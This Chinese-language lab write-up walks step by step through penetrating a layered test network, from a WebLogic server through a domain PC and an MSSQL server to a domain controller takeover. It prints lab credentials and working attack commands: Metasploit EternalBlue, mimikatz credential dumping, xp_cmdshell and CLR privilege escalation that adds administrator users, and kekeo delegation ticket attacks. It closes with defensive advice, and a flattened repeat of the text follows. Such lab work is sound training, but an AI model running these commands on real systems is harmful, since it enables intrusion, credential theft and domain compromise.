红队——多层内网环境渗透测试
字数 1727 2025-08-11 22:57:16

多层内网环境渗透测试教学文档

环境概述

网络拓扑结构

  • DMZ区:IP段 192.168.254.1/24,可连通外网
  • 第二层网络:IP段 10.10.20.1/24,通过DMZ区靶机连接
  • 第三层网络:IP段 10.10.10.1/24,包含域控机器与域内服务器

靶机信息

域控服务器

  • 系统:Windows Server 2008
  • 服务:IIS + Exchange 2013
  • 主机名:owa
  • 目录还原密码:redteam!@#45
  • 域管理员:administrator:QWEasd123 / Admin12345

域内服务器

  • SQL Server 2008(配置了非约束委派)
  • 主机名:sqlserver-2008
  • 本地管理员:Administrator:Admin12345
  • 域账户:redteam\sqlserver:Server12345(配置了约束委派)
  • MSSQL:sa:sa

域内个人PC

  • 系统:Windows 7
  • 主机名:work-7
  • 本地管理员:john:admin!@#45
  • 域账户:redteam\saul:admin!@#45

单机服务器

  • 系统:Windows server r2 + weblogic
  • 主机名:weblogic
  • 本地管理员:Administrator:Admin12345
  • weblogic账号:weblogic:weblogic123
  • 访问地址:http://ip:7001

其他域用户

  • redteam\mail:admin!@#45
  • redteam\adduser:Add12345
  • redteam\saulgoodman:Saul12345(配置了非约束委派)
  • redteam\gu:Gu12345
  • redteam\apt404:Apt12345

漏洞利用点

  1. GPP漏洞
  2. MS14-068
  3. CVE-2020-1472
  4. Exchange各种漏洞
  5. 非约束委派
  6. 约束委派
  7. CVE-2019-1388
  8. CVE-2019-0708

渗透测试步骤

第一阶段:单机服务器渗透

信息收集

nmap -p- -Pn -T4 192.168.254.112 -A

发现开放7001端口(weblogic服务)

GetShell

  1. 使用weblogicscan扫描漏洞
  2. 使用weblogic-GUI进行注入(administrator权限)
  3. 注入内存马,冰蝎上线

第二阶段:域内个人PC机器

信息收集

  1. 检查是否为多网卡机器:

    ipconfig /all
    
  2. 查看进程是否存在杀软:

    tasklist /SVC
    
  3. 上线CS(Cobalt Strike):

    • 通过冰蝎上传exe后门并执行
  4. 抓取密码和hash:

    hashdump
    

    得到Administrator的hash:ccef208c6485269c20db2cad21734fe7
    解密后得到密码:Admin12345

  5. 检查是否在域内:

    net config workstation
    net time /domain
    

横向移动

  1. 使用fscan进行网段扫描:

    fscan64.exe -h 10.10.20.0/24
    
  2. CS和MSF联动方法一:CS移交会话到MSF

    • CS创建foreign监听器
    • MSF设置监听:
      use exploit/multi/handler
      set payload windows/meterpreter/reverse_http
      set lhost 0.0.0.0
      set lport 8888
      run
      
    • CS上执行Spawn选择派生会话
  3. 添加路由:

    run get_local_subnets
    run autoroute -s 10.10.20.0/24
    run autoroute -p
    
  4. 使用MS17-010攻击:

    search ms17-010
    use exploit/windows/smb/ms17_010_eternalblue
      set payload windows/x64/meterpreter/bind_tcp
      set lport 11111
      set rhosts 10.10.20.7
      run
    

第三阶段:域内服务器Mssql

  1. 使用mimikatz抓取密码:

    load mimikatz
    creds_all
    
  2. 发现新网段,添加路由:

    run get_local_subnets
    run autoroute -s 10.10.10.0/24
    run autoroute -p
    
  3. 使用AdFind工具扫描委派配置:

    # 查询配置了非约束委派的主机
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    
    # 查询配置了约束委派的主机
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    
  4. SQL Server提权:

    • 使用SharpSQLTools工具:
      SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami
      
    • CLR组件提权:
      SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
      SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
      SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
      
    • 添加管理员用户:
      SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user ocean.com qwe.123 /add"
      SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net localgroup administrators ocean.com /add"
      

第四阶段:域控接管

  1. 使用约束委派攻击:
    • 利用kekeo请求TGT:
      kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"
      
    • 获取域机器的ST:
      kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"
      
    • 使用mimikatz进行PTT:
      mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
      

技术要点总结

  1. Weblogic漏洞利用:通过GUI工具注入内存马获取初始立足点
  2. 横向移动技术
    • CS与MSF联动
    • MS17-010漏洞利用
    • 多网卡环境下的路由添加
  3. 权限提升技术
    • MSSQL CLR组件提权
    • 约束委派攻击
  4. 域渗透技术
    • AdFind工具查询委派配置
    • kekeo和mimikatz进行票据传递攻击
  5. 密码破解:通过hashdump获取hash并在线解密

防御建议

  1. 及时修补已知漏洞(MS17-010、CVE-2020-1472等)
  2. 合理配置委派权限,避免过度授权
  3. 加强服务账户密码强度
  4. 禁用或限制xp_cmdshell等危险存储过程
  5. 监控异常票据请求和PTT攻击行为
  6. 实施网络分段,限制横向移动路径
多层内网环境渗透测试教学文档 环境概述 网络拓扑结构 DMZ区 :IP段 192.168.254.1/24,可连通外网 第二层网络 :IP段 10.10.20.1/24,通过DMZ区靶机连接 第三层网络 :IP段 10.10.10.1/24,包含域控机器与域内服务器 靶机信息 域控服务器 系统:Windows Server 2008 服务:IIS + Exchange 2013 主机名:owa 目录还原密码:redteam !@#45 域管理员:administrator:QWEasd123 / Admin12345 域内服务器 SQL Server 2008(配置了非约束委派) 主机名:sqlserver-2008 本地管理员:Administrator:Admin12345 域账户:redteam\sqlserver:Server12345(配置了约束委派) MSSQL:sa:sa 域内个人PC 系统:Windows 7 主机名:work-7 本地管理员:john:admin !@#45 域账户:redteam\saul:admin !@#45 单机服务器 系统:Windows server r2 + weblogic 主机名:weblogic 本地管理员:Administrator:Admin12345 weblogic账号:weblogic:weblogic123 访问地址:http://ip:7001 其他域用户 redteam\mail:admin !@#45 redteam\adduser:Add12345 redteam\saulgoodman:Saul12345(配置了非约束委派) redteam\gu:Gu12345 redteam\apt404:Apt12345 漏洞利用点 GPP漏洞 MS14-068 CVE-2020-1472 Exchange各种漏洞 非约束委派 约束委派 CVE-2019-1388 CVE-2019-0708 渗透测试步骤 第一阶段:单机服务器渗透 信息收集 发现开放7001端口(weblogic服务) GetShell 使用weblogicscan扫描漏洞 使用weblogic-GUI进行注入(administrator权限) 注入内存马,冰蝎上线 第二阶段:域内个人PC机器 信息收集 检查是否为多网卡机器: 查看进程是否存在杀软: 上线CS(Cobalt Strike): 通过冰蝎上传exe后门并执行 抓取密码和hash: 得到Administrator的hash:ccef208c6485269c20db2cad21734fe7 解密后得到密码:Admin12345 检查是否在域内: 横向移动 使用fscan进行网段扫描: CS和MSF联动方法一:CS移交会话到MSF CS创建foreign监听器 MSF设置监听: CS上执行Spawn选择派生会话 添加路由: 使用MS17-010攻击: 第三阶段:域内服务器Mssql 使用mimikatz抓取密码: 发现新网段,添加路由: 使用AdFind工具扫描委派配置: SQL Server提权: 使用SharpSQLTools工具: CLR组件提权: 添加管理员用户: 第四阶段:域控接管 使用约束委派攻击: 利用kekeo请求TGT: 获取域机器的ST: 使用mimikatz进行PTT: 技术要点总结 Weblogic漏洞利用 :通过GUI工具注入内存马获取初始立足点 横向移动技术 : CS与MSF联动 MS17-010漏洞利用 多网卡环境下的路由添加 权限提升技术 : MSSQL CLR组件提权 约束委派攻击 域渗透技术 : AdFind工具查询委派配置 kekeo和mimikatz进行票据传递攻击 密码破解 :通过hashdump获取hash并在线解密 防御建议 及时修补已知漏洞(MS17-010、CVE-2020-1472等) 合理配置委派权限,避免过度授权 加强服务账户密码强度 禁用或限制xp_ cmdshell等危险存储过程 监控异常票据请求和PTT攻击行为 实施网络分段,限制横向移动路径